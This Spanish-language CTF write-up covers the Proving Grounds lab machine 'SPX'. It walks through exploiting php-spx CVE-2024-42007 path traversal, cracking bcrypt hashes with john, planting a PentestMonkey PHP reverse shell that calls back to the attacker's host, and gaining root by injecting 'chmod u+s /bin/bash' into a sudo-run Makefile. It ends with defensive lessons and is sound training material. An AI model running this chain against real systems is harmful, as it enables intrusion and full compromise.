the_open_door
café
ESEN

SPX

Proving Grounds PracticeMediaLinux192.168.219.108

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#php-spx#cve-2024-42007#path-traversal#tiny-file-manager#bcrypt-cracking#file-upload#sudo-make#credential-reuse#oscp
TL;DR. El phpinfo.php delata la extensión php-spx 0.4.15, vulnerable a la CVE-2024-42007: un path traversal que lee ficheros arbitrarios (php-spx path traversal (CVE-2024-42007)). Leemos el index.php del Tiny File Manager, sacamos sus hashes bcrypt y los crackeamos (crackeo de hashes). Con el admin subimos una webshell (subida a RCE), la contraseña se reutiliza para profiler (reutilización de credenciales), y un sudo make install sobre un Makefile que controlamos nos da root (abuso de sudo make install).

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Solo SSH y un Apache que se presenta como "Tiny File Manager".

ping -c 1 192.168.219.108
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.219.108
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 192.168.219.108 -oN targetedScan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Tiny File Manager

HTTP - TCP 80

Un dirsearch descubre un phpinfo.php accesible:

dirsearch -u http://192.168.219.108 --exclude-status=404,403
200 -   22KB - /phpinfo.php

El phpinfo es oro para el fingerprint: entre las extensiones cargadas aparece SPX (php-spx) v0.4.15, un profiler de PHP. Y algo más: revela la directiva spx.http_key, la clave que protege la UI de SPX, en claro (a2a90ca2f9f0ea04d267b16fb8e63800):

phpinfo revela SPX Version 0.4.15 y spx.http_key = a2a90ca2f9f0ea04d267b16fb8e63800

Explotación

CVE-2024-42007: path traversal de php-spx

Buscando la versión aparece el exploit de esa CVE:

Búsqueda "SPX 0.4.15 git exploit" que apunta al repo BubblyCola/CVE_2024_42007 (path traversal via SPX_UI_URI)

php-spx expone una UI interna protegida por SPX_KEY. La CVE-2024-42007 permite pasar un SPX_UI_URI con ../ para leer ficheros del disco (php-spx path traversal (CVE-2024-42007)). El exploit necesita la SPX_KEY, y la tenemos: es justo el spx.http_key que filtró el phpinfo. Con ella leemos el index.php de la aplicación:

python3 CVE_2024_42007.py -t http://192.168.219.108 -f /var/www/html/index.php | grep bash

El index.php es la configuración del Tiny File Manager 2.5.3, y su array $auth_users trae dos hashes bcrypt en claro:

La CVE-2024-42007 lee index.php y expone los hashes bcrypt de admin y user

'admin' => '$2y$10$7LaMUa8an8NrvnQsj5xZ3eDdOejgLyXE8IIvsC.hFy1dg7rPb9cqG',
'user'  => '$2y$10$x8PS6i0Sji2Pglyz7SLFruYFpAsz9XAYsdiPyfse6QDkB/QsdShxi'

Crackeo de los hashes bcrypt

Guardamos los dos hashes y los pasamos por john (crackeo de hashes):

john --wordlist=/usr/share/wordlists/rockyou.txt hashes

john con rockyou saca lowprofile y profiler de los dos hashes bcrypt

lowprofile       (?)
profiler         (?)
2g 0:00:00:00 DONE

Salen lowprofile y profiler. La primera abre el Tiny File Manager como admin.

Edición del index.php a RCE

Entramos en el Tiny File Manager con admin / lowprofile:

Login del Tiny File Manager (H3K) con admin / lowprofile

Ya dentro, el panel muestra el webroot con index.php y phpinfo.php (propiedad de www-data), y el pie confirma la versión, Tiny File Manager 2.5.3:

Panel del Tiny File Manager 2.5.3 con index.php y phpinfo.php en el webroot

El TFM permite editar ficheros (escritura arbitraria a RCE). Como reverse shell usamos el PHP de PentestMonkey de revshells.com (apuntando a nuestra IP y al 22):

revshells.com con el PHP PentestMonkey, IP 192.168.45.238 y puerto 22

Y sobrescribimos el propio index.php con ese código desde el editor del TFM:

Editor del TFM con index.php reemplazado por el reverse shell de PentestMonkey (192.168.45.238:22)

Con Penelope a la escucha en el 22, un simple curl al index.php dispara la conexión:

curl http://192.168.219.108/index.php

curl a index.php dispara la reverse; Penelope recibe la sesión como www-data

(Penelope)> listeners add -p 22
[+] Got reverse shell from spx~192.168.219.108-Linux-x86_64  Assigned SessionID <1>
www-data@spx:/$ whoami
www-data

Obtenemos ejecución como www-data.

Pivote de usuarios

Reutilización de la contraseña para profiler

La contraseña recuperada del gestor sirve tal cual para la cuenta de sistema profiler (reutilización de credenciales):

su profiler   # lowprofile

su profiler con la contraseña lowprofile; whoami e id confirman profiler (uid 1000)

profiler@spx:/home$ id
uid=1000(profiler) gid=1000(profiler) groups=1000(profiler)

Local

cat local.txt && whoami && ip a && hostname

local.txt leída como el usuario profiler

164935483cfee7d46cfc49e7999389ff
profiler

Escalada de privilegios

Abuso de sudo make install con Makefile controlado

profiler puede ejecutar make install como root en un directorio que le pertenece:

sudo -l
User profiler may run the following commands on spx:
    (ALL) /usr/bin/make install -C /home/profiler/php-spx

make ejecuta las recetas del Makefile tal cual, y ese Makefile está en un directorio nuestro. Basta con inyectar un comando en el target que install invoca (abuso de sudo make install). Añadimos al target install-spx-ui-assets:

nano /home/profiler/php-spx/Makefile
# dentro de install-spx-ui-assets:
	@chmod u+s /bin/bash

Lanzamos la regla con sudo y disparamos la shell con privilegios:

sudo /usr/bin/make install -C /home/profiler/php-spx
ls -l /bin/bash        # -rwsr-xr-x root root  (SUID)
bash -p

El sudo make install ejecuta el chmod u+s del Makefile; bash -p da root

make: Entering directory '/home/profiler/php-spx'
Installing shared extensions:     /usr/lib/php/20210902/
Installing SPX web UI to: /usr/share/misc/php-spx/assets/web-ui
make: Leaving directory '/home/profiler/php-spx'
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
root

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root

b168de96689fc2ca42843f1a8220c9c3
root

Cadena de ataque

Apache 80  --  Tiny File Manager + php-spx 0.4.15
        │  phpinfo.php revela php-spx 0.4.15
        │  spx.http_key (phpinfo) + CVE-2024-42007: path traversal -> leer index.php (hashes bcrypt)
        │  john -> admin:lowprofile / user:profiler
        │  login TFM admin -> editar index.php con reverse shell PHP
        ▼
www-data
        │  su profiler (reutiliza lowprofile)
        ▼
profiler  (local.txt)
        │  sudo make install -C ~/php-spx con Makefile controlado -> chmod u+s /bin/bash
        ▼
root  (proof.txt)  [bash -p]

Lecciones aprendidas

  • phpinfo.php publica el mapa de extensiones. Ahí salió php-spx 0.4.15 y su CVE. Nunca dejes un phpinfo accesible en producción.
  • Un profiler de PHP no es inofensivo. php-spx traía un path traversal (CVE-2024-42007) que leyó la configuración con las credenciales. Las herramientas de diagnóstico deben quedar fuera del alcance externo.
  • Los hashes en la config son credenciales. bcrypt no es irrompible con contraseñas débiles; lowprofile cayó al instante y además se reutilizaba para el usuario del sistema.
  • sudo make install es RCE si controlas el Makefile. make ejecuta cualquier receta; conceder make por sudo sobre un directorio escribible equivale a dar root.
Cheatsheet de comandos 8 comandos

Repaso rápido